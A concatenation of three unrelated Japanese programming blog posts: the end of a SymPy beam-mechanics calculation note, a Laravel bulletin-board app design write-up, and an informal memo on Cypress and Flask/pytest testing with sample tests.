print("#",simplify(Eq(equ.lhs,equ.rhs)),",",simplify(equ.lhs),",",simplify(equ.rhs))
print("#",factor  (Eq(equ.lhs,equ.rhs)),",",factor  (equ.lhs),",",factor  (equ.rhs))
# Eq(5*M_*P1*l**2 + 4*M_*P2*l**2 - 27*M_*l*(P1*l/3 + 2*P2*l/3 + P3*l), -M_*l**2*(4*P1 + 14*P2 + 27*P3))
# True , M_*l**2*(-4*P1 - 14*P2 - 27*P3) , -M_*l**2*(4*P1 + 14*P2 + 27*P3)
# True , -M_*l**2*(4*P1 + 14*P2 + 27*P3) , -M_*l**2*(4*P1 + 14*P2 + 27*P3)
```
#### 作図
・省略

# いつもの? sympyの実行環境と 参考のおすすめです。
[(テンプレート)](https://qiita.com/mrrclb48z/items/00dd08b0317069be9342)

# いつもと違うおすすめです。
#### ChatGPT先生へ。SymPy マイナス外し
```
・sympyで、M_*l**2*(-4*P1 - 14*P2 - 27*P3)　と表示されます。マイナスを外に出す方法を教えて下さい。
```

[相反定理 共通編 Qiita内](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E5%85%B1%E9%80%9A%E7%B7%A8-qiita%E5%86%85)

#### 参考文献

~~＞一部に等分布荷重を受ける単純支持はり~~
~~＞JSME p89~~
　
~~＞片持ちばり 1)~~
~~＞構造力学公式集 表5.1 片持ちばりの公式　p128~~
Laravelで作る簡易掲示板アプリ①｜投稿と返信機能の全体像と実装の流れ

# はじめに
本記事では、Laravelを用いて開発した掲示板アプリにおける、投稿・返信機能の設計と実装について詳しく紹介します。投稿内容を登録・削除・返信できるようにし、ユーザー単位の管理も行えるように設計しました。この記事では、実際に書いたコードの構成・各処理の役割・選定理由などを整理し、研修やレビュー発表でも役立つ内容にまとめています。

# ①実装した機能一覧
- 投稿機能（一覧、作成、確認、完了、削除）
- 返信機能（一覧、作成、確認、完了、削除）
- 投稿者・返信者に紐づいたユーザー管理
- セッション保存を使った入力内容の引き継ぎ
- 各種確認画面の導入
- softDeletesによる論理削除対応

# ②構成とファイルの役割

## モデル（Eloquent）
![スクリーンショット 2025-05-06 19.52.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2246240/e0f5c0ca-8b2a-4bcd-9948-eb46ed1022d8.png)

## コントローラー
![スクリーンショット 2025-05-06 19.53.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2246240/0b4168bb-2236-4bd1-82a6-d73a41d76835.png)

# ③よくある質問と回答

**Q1.Eager Loading (with()) を使った理由は？**
A.パフォーマンス向上（N+1問題の回避）と、返信に紐づくユーザー情報を効率的に取得するためです

**Q2.セッション（session()）を利用する理由は？**
A.バリデーション通過後、投稿内容を一時的に保持し、確認・完了画面で同じデータを再利用するためです。

**Q3.formatDate() をコントローラーに実装した理由は？**
A.複数画面で共通の日付フォーマットを使うため。共通処理を1つにまとめて管理しやすくしました。

**Q4.findOrFail() の利点は？**
A. 対象データが存在しない場合に自動で404エラーになるため、エラーハンドリングが明確になります。

# ④今後の課題・改善案
- フロントエンド（Vue.js）との連携による動的操作
- バリデーションエラーメッセージの多言語対応
- 投稿・返信の編集機能の追加
- Ajaxによる非同期送信対応

# ⑤最後に
ここまでの実装で、投稿・返信の基本機能を一通り習得し、LaravelのMVC構成を実感することができました。今後は、ユーザー体験向上のために、フロントエンドとの連携やUI改善にも挑戦していく予定です。
cypress ちょこっと


# Cypress 準備と 前提条件や必要条件、具体的プロセス

## node インストール

https://nodejs.org/en/download

```ruby:
node -v でnodeインストされてっか確認

P (Projectフォルダ)フォルダで
　npm install cypress --save-dev

テストしたい時、cypress　GUIが開かれる
　npx cypress open

 テストのやり方
  ブラウザ GUIから、ファイル選んで test実行

 基本的なテストの作成
テストファイルの作成
cypress/integration フォルダに .spec.js という拡張子のファイルを作成し、テスト書く。
```

cypress マニュアル

https://docs.cypress.io/app/get-started/install-cypress
ワシが勉強する必要性が高いテスト

```ruby:
ユニットテスト（view URL遷移、ちゃんとできてっか？）
　→ 最初に学ぶべき。
 
APIテスト（API、ちゃんと応答してっか？）　　
　　　→ 二番目 restfulAPI時、必須
   
統合テスト（データベースやセッションできてっか？）
　→ 三番目
 
エンドツーエンドテスト（アプリ全体正しい動き？）
　→ 一番最後でok
```

```ruby:viewテスト
from flask import Flask
import pytest

app = Flask(__name__)

@app.route('/hello')
def hello():
    return 'Hello, World!'

def test_hello():
    with app.test_client() as client:
        response = client.get('/hello')
        assert response.data == b'Hello, World!'
```

```ruby:APIテスト
from flask import Flask, jsonify
import pytest

app = Flask(__name__)

@app.route('/api/user/<int:user_id>')
def get_user(user_id):
    return jsonify({'id': user_id, 'name': 'User'})

def test_get_user():
    with app.test_client() as client:
        response = client.get('/api/user/1')
        assert response.status_code == 200
        assert response.json['id'] == 1
```


```ruby:セッションテスト
from flask import Flask, session
import pytest

app = Flask(__name__)
app.secret_key = 'secret'

@app.route('/set_session/<name>')
def set_session(name):
    session['name'] = name
    return 'Session Set'

def test_set_session():
    with app.test_client() as client:
        client.get('/set_session/test')
        with client.session_transaction() as sess:
            assert sess['name'] == 'test'
```


```ruby:エンドツーエンドTest
    describe('Login test', () => {
  it('should log in successfully', () => {
    cy.visit('/login') // ログインページにアクセス
    cy.get('input[name="username"]').type('testuser') // ユーザー名入力
    cy.get('input[name="password"]').type('password123') // パスワード入力
    cy.get('button[type="submit"]').click() // ログインボタンをクリック

    cy.url().should('include', '/dashboard') // ダッシュボードページにリダイレクトされることを確認
    cy.contains('Welcome, testuser') // ダッシュボードにユーザー名が表示されることを確認
  })
})
```

### ☑️ etcテスト(未まとめ)

```ruby:
APIが、ユーザーIDを渡すとそのユーザー情報を返すかどうかをテスト
import requests

def test_get_user():
    response = requests.get("http://api.example.com/users/1")
    assert response.status_code == 200
    assert response.json()["id"] == 1


存在しないユーザーIDを渡したときに404エラーが返るかテスト
def test_get_user_not_found():
    response = requests.get("http://api.example.com/users/9999")
    assert response.status_code == 404


APIの応答速度が3秒以内
def test_api_performance():
    response = requests.get("http://api.example.com/large-dataset")
    assert response.elapsed.total_seconds() < 3

  ✍️Cypress
describe('Login Test', () => {
  it('should login successfully', () => {
    // ログインページにアクセス
    cy.visit('http://yourflaskapp.com/login')

    // フォームに情報を入力
    cy.get('input[name="username"]').type('testuser')
    cy.get('input[name="password"]').type('password123')

    // ログインボタンをクリック
    cy.get('button[type="submit"]').click()

    // ダッシュボードにリダイレクトされることを確認
    cy.url().should('include', '/dashboard')
    cy.contains('Welcome, testuser').should('be.visible')
  })
})
```